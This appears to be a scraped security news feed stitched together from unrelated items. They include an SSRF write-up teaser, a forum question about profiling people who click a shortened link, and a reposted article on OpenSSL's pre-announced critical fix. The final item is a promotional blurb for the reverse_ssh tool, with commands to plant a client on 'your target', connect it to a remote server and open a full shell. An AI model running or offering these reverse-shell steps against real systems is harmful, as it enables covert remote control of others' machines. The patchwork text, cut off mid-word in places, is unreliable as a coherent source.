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How to Find Escalating HTML to SSRF. I instantly got the HOF within 5minutes.

Server Side Request Forgery through Html Injection:Continue reading on Medium »
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2FA Bypass due to information disclosure & Improper access control.

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hacking: security in practice
How to identify who clicks my link?

I have this Bitly link; all I can see is how many times my link visited, at what time, and from what country.

What I would like is to know more. What's its approximate location or better? Like what browser he/she is using. Is it the same person who clicked before? Or what were his/her engagements before, did he/she visited an online store? How can I do this? I believe it is possible and it is legal since it is what google does, but how?

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Black Hat Ethical Hacking
OpenSSL Gives Heads Up to Critical Vulnerability Disclosure

OpenSSL Gives Heads Up to Critical Vulnerability DisclosurePost Views: 66 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes Developers of the OpenSSL cryptography library have taken the unusual step of pre-warning that an update due to land next Tuesday (November 1) will fix a critical vulnerability.The looming OpenSSL 3.x patch represent only the second time the project has addressed a flaw classified as ‘critical’. The only previous OpenSSL update of such elevated severity addressed the infamous Heartbleed vulnerability (CVE-2014-0160).

Heartbleed was a memory handling bug that opened the door for attackers to access secret keys, passwords, and sensitive personal information from vulnerable servers. At the time of its discovery eight years ago, experts from Netcraft estimated that the flaw affected 17% of SSL web servers or “half a million widely trusted websites”.

Little is known about the upcoming critical fix (OpenSSL 3.0.7), other than it is restricted to OpenSSL version 3.0, the latest release line of the software, and does not affect previous versions.

OpenSSL 3.0.x only debuted in 2021, a factor that might limit the extent of the problems next week’s announcement will reveal. OpenSSL has been around since 1998 and most systems today are still built using earlier release lines.

No details of the upcoming patch or the critical flaw it tackles have been released. In the absence of any hard info, infosec Twitter has gone into overdrive with some speculating that the vulnerability might represent the “next Heartbleed”.

One security expert from Google, for example, has suggested on the basis of recent software commits and a blog post by the OpenSSL team that the update might relate to a denial-of-service (DoS) issue.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Feel the DHEatThis particular DoS bug – known as DHEat and previous confirmed to affect OpenVPN and SSH services – involves enforcing the Diffie-Hellman key exchange.

DHEat (AKA CVE-2002-20001) scores 7.5 on the CVSS 3.1 index, indicating high severity and falling somewhat short of critical.

On the face of it, an OpenSSL patch for DHEat would appear to be a poor candidate for a critical patch unless OpenSSL is particularly vulnerable. A recent OpenSSL blog post referencing DHEat makes it even more unlikely that the looming patch tackles this issue.

It seems more likely that a previously unknown vulnerability is at play, according to experts quizzed by The Daily Swig.
Trending: Exploit XSS Injections in a one-line powerful Technique
Trending: Recon Tool: Hakrawler Action stationsBrian Fox, CTO of Sonatype, told us that organizations should audit their code base for exposure to any vulnerability in OpenSSL 3.0.x, leaving them prepared to either patch or isolate vulnerable systems next week.

“In the first instance, it’s critical to find out where 3.x is used,” Fox said. “More importantly, it’s vital to get tooling in place to avoid having to audit and identify components manually every time.”

Fox went on to argue that speculation about the content of the upcoming fix were, at best, “unhelpful”. He said: “The speculation assumes that the fix is available in the publicly visible source and the advance notice gives attackers time to find it. This assumption may not be true. It is a best practice at some times to embargo the actual change until after the announcement for this exact reason.

“The team at OpenSSL consists of some of the foremost experts in handling high profile open sou[...]

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Black Hat Ethical Hacking OpenSSL Gives Heads Up to Critical Vulnerability Disclosure OpenSSL Gives Heads Up to Critical Vulnerability DisclosurePost Views: 66 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe…
rce vulnerability disclosures and if they have determined this is the best course of action – to give advance notice – then I have faith in that decision.”

Professor Alan Woodward, a computer scientist at the University of Surrey, reasoned that the problem is unlikely to be related to the older vulnerability.

“If the OpenSSL vulnerability is truly critical as per their own definition, then it sounds dire,” Prof. Woodward told The Daily Swig. “If it’s the older vulnerability, I fear they may have cried wolf. It isn’t helpful to give so little information but as it is a tiny team I can see why.”
Trending: Exploited Windows zero-day lets JavaScript files bypass security warnings Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
Source: portswigger.net Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-4-1-300x150.png GitHub patches bug called repojacking that could allow access to another user’s repoOctober 28, 2022
Reading Time: 3 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-3-1-300x150.png Windows vulnerable driver blocklist sync issue patchedOctober 27, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-2-2-300x150.png Cisco warns admins to patch AnyConnect flaw exploited in attacksOctober 26, 2022
Reading Time: 3 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-12-300x150.png Apple fixes new zero-day used in attacks against iPhones, iPadsOctober 25, 2022
Reading Time: 3 minutes
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The post OpenSSL Gives Heads Up to Critical Vulnerability Disclosure first appeared on Black Hat Ethical Hacking.

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Want to use SSH for reverse shells? Now you can. Manage and connect to reverse shells (https://www.kitploit.com/search/label/Reverse%20Shells) with native SSH syntax Dynamic, local and remote forwarding Native SCP and SFTP implementations for retrieving files from your targets Full windows shell Mutual client & server authentication (https://www.kitploit.com/search/label/Authentication) to create high trust control channels
And more! +----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server (https://www.kitploit.com/search/label/SSH%20server) | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+ TL;DR Setup Docker: docker run -p3232:2222 -e EXTERNAL_ADDRESS=:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v data:/data reversessh/reverse_ssh
Manual: git clone https://github.com/NHAS/reverse_ssh

cd reverse_ssh

make
cd bin/

# start the server
cp ~/.ssh/id_ed25519.pub authorized_keys
./server 0.0.0.0:3232 Running # copy client to your target then connect it to the server
./client your.rssh.server.com:3232

# Get help text
ssh your.rssh.server.com -p 3232 help

# See clients
ssh your.rssh.server.com -p 3232 ls -t

Targets
+------------------------------------------+------------+-------------+
| ID | Hostname | IP Address |
+------------------------------------------+------------+-------------+
| 0f6ffecb15d75574e5e955e014e0546f6e2851ac | root.wombo | [::1]:45150 |
+------------------------------------------+------------+-------------+


# Connect to full shell
ssh -J your.rssh.server.com:3232 0f6ffecb15d75574e5e955e014e0546f6e2851ac

# Or using hostname

ssh -J your.rssh.server.com:3232 root.wombo
Setup Instructions NOTE: reverse_ssh requires Go 1.17 or higher. Please check you have at least this version via go version The simplest build command is just: make Make will build both the client and server binaries. It will also generate a private key for the client, and copy the corresponding public key to the authorized_controllee_keys file to enable the reverse shell to connect. Golang allows your to effortlessly cross compile, the following is an example for building windows: GOOS=windows GOARCH=amd64 make client # will create client.exe You will need to create an authorized_keys file much like the ssh http://man.he.net/man5/authorized_keys, this contains your public key. This will allow you to connect to the RSSH server. Alternatively, you can use the --authorizedkeys flag to point to a file. cp ~/.ssh/id_ed25519.pub authorized_keys

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